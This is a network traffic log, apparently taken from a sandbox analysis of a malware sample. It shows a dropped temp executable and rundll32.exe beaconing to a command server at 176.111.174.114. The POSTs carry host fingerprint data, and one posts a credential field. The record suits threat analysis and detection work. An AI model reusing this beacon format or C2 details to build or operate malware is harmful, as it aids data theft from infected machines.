637	176.111.174.114	80	192.168.2.5	50092	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
638	192.168.2.5	50095	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
639	176.111.174.114	80	192.168.2.5	50095	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49746	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.305347919 CEST	1618	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
640	192.168.2.5	50097	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
641	176.111.174.114	80	192.168.2.5	50097	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
642	192.168.2.5	50098	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
643	176.111.174.114	80	192.168.2.5	50098	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
644	192.168.2.5	50099	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
645	176.111.174.114	80	192.168.2.5	50099	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
646	192.168.2.5	50101	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
647	176.111.174.114	80	192.168.2.5	50101	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
648	192.168.2.5	50102	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
649	176.111.174.114	80	192.168.2.5	50102	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	176.111.174.114	80	192.168.2.5	49746	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.405771017 CEST	1646	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
650	192.168.2.5	50103	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
651	176.111.174.114	80	192.168.2.5	50103	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
652	192.168.2.5	50104	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
653	176.111.174.114	80	192.168.2.5	50104	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
654	192.168.2.5	50105	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
655	192.168.2.5	50106	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
656	176.111.174.114	80	192.168.2.5	50106	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
657	176.111.174.114	80	192.168.2.5	50105	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
658	192.168.2.5	50107	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
659	176.111.174.114	80	192.168.2.5	50107	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49747	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.617748022 CEST	1816	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
660	192.168.2.5	50109	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
661	176.111.174.114	80	192.168.2.5	50109	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
662	192.168.2.5	50110	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
663	176.111.174.114	80	192.168.2.5	50110	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
664	192.168.2.5	50111	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
665	176.111.174.114	80	192.168.2.5	50111	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
666	192.168.2.5	50112	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
667	176.111.174.114	80	192.168.2.5	50112	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
668	192.168.2.5	50114	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
669	176.111.174.114	80	192.168.2.5	50114	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	176.111.174.114	80	192.168.2.5	49747	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.718087912 CEST	1844	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
670	192.168.2.5	50115	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
671	176.111.174.114	80	192.168.2.5	50115	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
672	192.168.2.5	50116	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
673	176.111.174.114	80	192.168.2.5	50116	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
674	192.168.2.5	50117	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
675	176.111.174.114	80	192.168.2.5	50117	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
676	192.168.2.5	50118	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
677	192.168.2.5	50119	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
678	176.111.174.114	80	192.168.2.5	50119	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
679	176.111.174.114	80	192.168.2.5	50118	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49748	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:33.934287071 CEST	1845	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
680	192.168.2.5	50120	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
681	176.111.174.114	80	192.168.2.5	50120	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
682	192.168.2.5	50122	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
683	176.111.174.114	80	192.168.2.5	50122	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
684	192.168.2.5	50123	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
685	176.111.174.114	80	192.168.2.5	50123	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
686	192.168.2.5	50124	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
687	176.111.174.114	80	192.168.2.5	50124	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
688	192.168.2.5	50126	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
689	176.111.174.114	80	192.168.2.5	50126	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	176.111.174.114	80	192.168.2.5	49748	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.036462069 CEST	1846	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
690	192.168.2.5	50127	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
691	176.111.174.114	80	192.168.2.5	50127	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
692	192.168.2.5	50128	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
693	176.111.174.114	80	192.168.2.5	50128	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
694	192.168.2.5	50129	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
695	176.111.174.114	80	192.168.2.5	50129	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
696	192.168.2.5	50130	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
697	192.168.2.5	50131	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
698	176.111.174.114	80	192.168.2.5	50130	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
699	192.168.2.5	50132	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	176.111.174.114	80	192.168.2.5	49714	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.948796988 CEST	1566	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49749	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.239108086 CEST	1846	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
700	176.111.174.114	80	192.168.2.5	50132	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
701	176.111.174.114	80	192.168.2.5	50131	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
702	192.168.2.5	50134	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
703	176.111.174.114	80	192.168.2.5	50134	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
704	192.168.2.5	50135	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
705	176.111.174.114	80	192.168.2.5	50135	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
706	192.168.2.5	50136	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
707	176.111.174.114	80	192.168.2.5	50136	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
708	192.168.2.5	50137	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
709	176.111.174.114	80	192.168.2.5	50137	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	176.111.174.114	80	192.168.2.5	49749	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.338783979 CEST	1847	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
710	192.168.2.5	50139	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
711	176.111.174.114	80	192.168.2.5	50139	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
712	192.168.2.5	50140	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
713	176.111.174.114	80	192.168.2.5	50140	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
714	192.168.2.5	50141	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
715	176.111.174.114	80	192.168.2.5	50141	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
716	192.168.2.5	50142	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
717	176.111.174.114	80	192.168.2.5	50142	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
718	192.168.2.5	50143	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
719	192.168.2.5	50144	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49750	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.339091063 CEST	1847	OUT	POST //Hnq8vS/index.php HTTP/1.1 Host: 176.111.174.114 Content-Length: 21 Content-Type: application/x-www-form-urlencoded Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 63 72 65 64 3d Data Ascii: id=152138533219&cred=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
720	176.111.174.114	80	192.168.2.5	50144	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
721	176.111.174.114	80	192.168.2.5	50143	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
722	192.168.2.5	50145	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
723	176.111.174.114	80	192.168.2.5	50145	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
724	192.168.2.5	50147	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
725	176.111.174.114	80	192.168.2.5	50147	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
726	192.168.2.5	50148	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
727	176.111.174.114	80	192.168.2.5	50148	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
728	192.168.2.5	50149	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
729	176.111.174.114	80	192.168.2.5	50149	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	176.111.174.114	80	192.168.2.5	49750	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.432993889 CEST	1847	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Refresh: 1; url = login.php Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
730	192.168.2.5	50151	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
731	176.111.174.114	80	192.168.2.5	50151	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
732	192.168.2.5	50152	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
733	176.111.174.114	80	192.168.2.5	50152	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
734	192.168.2.5	50153	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
735	176.111.174.114	80	192.168.2.5	50153	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
736	192.168.2.5	50154	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
737	176.111.174.114	80	192.168.2.5	50154	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
738	192.168.2.5	50155	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
739	192.168.2.5	50156	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49751	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:34.566893101 CEST	1848	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
740	176.111.174.114	80	192.168.2.5	50156	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
